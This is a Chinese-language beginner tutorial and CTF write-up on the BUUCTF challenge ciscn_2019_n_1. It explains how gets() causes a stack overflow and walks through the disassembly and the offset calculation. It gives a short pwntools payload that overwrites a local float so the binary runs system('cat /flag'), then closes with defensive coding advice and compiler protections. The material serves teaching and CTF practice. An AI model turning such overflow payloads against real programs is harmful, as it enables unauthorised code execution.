新手也能懂的PWN入门:从BUUCTF的ciscn_2019_n_1看gets函数如何引发栈溢出
PWN入门实战从gets函数漏洞到栈溢出攻击全解析在二进制安全领域PWN技术始终是安全爱好者最热衷探索的方向之一。对于初学者而言理解栈溢出原理往往是从理论到实践的第一道门槛。今天我们就以BUUCTF平台上的经典题目ciscn_2019_n_1为例深入剖析gets函数如何成为系统安全的阿喀琉斯之踵。1. 理解栈溢出从内存布局开始栈Stack是程序运行时用于存储局部变量、函数参数和返回地址的关键内存区域。在x86-64架构中栈从高地址向低地址增长每个函数调用都会创建一个新的栈帧Stack Frame。典型的栈帧结构包含以下元素内存区域存储内容大小x86-64参数区域函数参数不定返回地址调用函数后的下一条指令地址8字节保存的基址指针上一个栈帧的rbp值8字节局部变量区函数内定义的变量不定当函数调用gets这样的危险函数时问题就出现了char buf[32]; gets(buf); // 无边界检查的输入函数gets函数的致命缺陷在于它不会检查输入长度只要用户输入的数据超过buf数组的容量多余的数据就会溢出到相邻的内存区域这就是栈溢出的基本原理。2. 实战分析ciscn_2019_n_1题目拆解让我们打开IDA Pro看看这道题目的核心逻辑func proc near var_30 byte ptr -30h var_4 dword ptr -4 ... lea rax, [rbpvar_30] mov rdi, rax call _gets movss xmm0, [rbpvar_4] ucomiss xmm0, cs:dword_4007F4 jp short loc_4006CF ... loc_4006BE: mov edi, offset command ; cat /flag call _system关键点解析var_30是大小为0x3048字节的缓冲区var_4是一个4字节的浮点型变量程序比较var_4与固定值0x4134800011.28125的IEEE754表示如果相等则执行system(cat /flag)栈布局示意图----------------- | 返回地址 | ----------------- | 保存的rbp | ----------------- | var_4 (4字节) | ← 目标覆盖位置 ----------------- | ... | ----------------- | var_30 (48字节) | ← 输入缓冲区起始 -----------------3. 构造攻击载荷精确计算偏移量要覆盖var_4我们需要精确计算从缓冲区开始到目标位置的偏移缓冲区起始地址rbp-0x30目标变量地址rbp-0x4偏移量计算0x30 - 0x4 0x2C即十进制44因此我们的payload结构应该是44字节填充数据通常用A4字节的目标值0x41348000使用pwntools构造攻击代码from pwn import * # 本地测试 p process(./ciscn_2019_n_1) # 构造payload payload bA*44 p64(0x41348000) # 发送payload p.sendline(payload) # 交互模式 p.interactive()4. 防御措施与安全编程实践理解了攻击原理后我们更应该关注如何防御这类漏洞永远不要使用的危险函数getsstrcpystrcatsprintfscanf安全替代方案fgets (指定最大长度)strncpy/strlcpystrncat/strlcatsnprintffscanf现代编译器提供的防护机制Stack Canary在返回地址前放置随机值检测是否被修改ASLR地址空间布局随机化随机化内存地址NX/DEP数据执行保护标记数据区域不可执行重要提示即使在教学环境中演示栈溢出也应确保在隔离的虚拟环境中进行切勿在生产系统尝试任何漏洞利用技术。通过这道题目我们不仅学会了如何利用gets函数的漏洞更重要的是理解了栈溢出的本质原理。记住一个优秀的PWN手首先应该是一个懂得防御的安全工程师。当你下次看到gets函数时相信你会本能地警惕起来——这正是安全意识的开始。